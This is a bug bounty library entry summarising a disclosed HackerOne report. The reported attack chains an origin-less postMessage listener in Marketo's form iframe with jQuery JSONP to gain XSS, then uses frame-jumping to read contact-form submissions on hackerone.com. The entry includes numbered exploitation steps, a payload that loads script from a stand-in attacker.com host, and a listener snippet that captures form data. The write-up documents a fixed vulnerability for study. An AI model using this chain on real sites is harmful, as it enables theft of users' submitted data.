# Stealing contact form data on www.hackerone.com using Marketo Forms XSS with postMessage frame-jumping and jQuery-JSONP

Marketo XDFrame postMessage listener passes attacker ajaxParams into $.ajax jsonp mode, giving XSS in the iframe that eavesdrops HackerOne contact-form submissions.

- Payout: hidden
- Severity: medium
- Program: HackerOne
- Found by: fransrosen
- Disclosed: 2017-08-29
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/207042
- Library page: https://bugbountylibrary.com/r/h1%3A207042
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:medium technique:chained vuln:misconfiguration vuln:xss

**Target:** Marketo Forms XDFrame cross-origin iframe on www.hackerone.com
**Root cause:** The Marketo XDFrame postMessage listener accepts messages from any origin and passes the attacker-supplied ajaxParams object directly into jQuery $.ajax(), including dataType jsonp, executing attacker script in the marketo.com origin.
**Steps:**
1. Host springboard page with `<iframe id="x" name="x" src="https://app-sj17.marketo.com/index.php/form/XDFrame">`
2. On window.onmessage, send `x.postMessage('{"mktoRequest":{"ajaxParams":{"url":"https://attacker.com/jsonp.php","dataType":"jsonp","method":"get"}}}', '*')`
3. jsonp.php returns `alert(document.domain)` (with ACAO *) causing XSS in the Marketo iframe
4. jsonp.php renders a link that opens `https://www.hackerone.com/product/overview#contact` in a new window `b`
5. setInterval posts the same ajaxParams (jsonp2.php) to `b['frames'][0]` to reach the Marketo iframe on hackerone.com
6. jsonp2.php registers window.onmessage listener that alerts on form data
7. Victim submits contact form; XSS reads the submitted data
**How found:** Noticed Marketo's XDFrame postMessage listener lacks origin checks and passes ajaxParams straight to $.ajax; hypothesized jsonp dataType yields script execution, then explored frame-jumping to reach the embedded iframe on hackerone.com.
**Exploitation:** Attacker lures victim to a springboard page framing Marketo XDFrame, uses origin-less postMessage to load attacker JSONP into the iframe (XSS), then opens HackerOne's #contact page which auto-triggers the contact form, re-injects JSONP into the embedded Marketo iframe via window.frames[0], and registers a message listener that captures the victim's submitted contact-form data.
**Escalation:** Chained XSS in third-party iframe with the #contact fragment auto-trigger and frame-jumping via window.frames[0] to reach the Marketo iframe on the target origin.
**Insight:** Third-party form/embed iframes that accept postMessage without origin checks and forward params into $.ajax are XSS sinks; jsonp dataType turns them into script execution, and window.frames[0] bypasses randomized frame names to reach the embedded iframe on the target site.

## Proof of concept (copied exactly from the original report)

**postMessage payload injecting jQuery JSONP ajaxParams**

```
{"url":"https://attacker.com/jsonp.php","dataType":"jsonp","method":"get"}
```

**jsonp2.php listener stealing submitted form data**

```
(function(){
	if(window.icanhazmsg) return
	window.icanhazmsg=true
	window.onmessage=function(a) {
		if(a.origin.indexOf('marketo') !== -1) return;
		console.log(a);
		alert("I HAVE YOUR DATA NOW\n" + a.data)
	}
})()
```

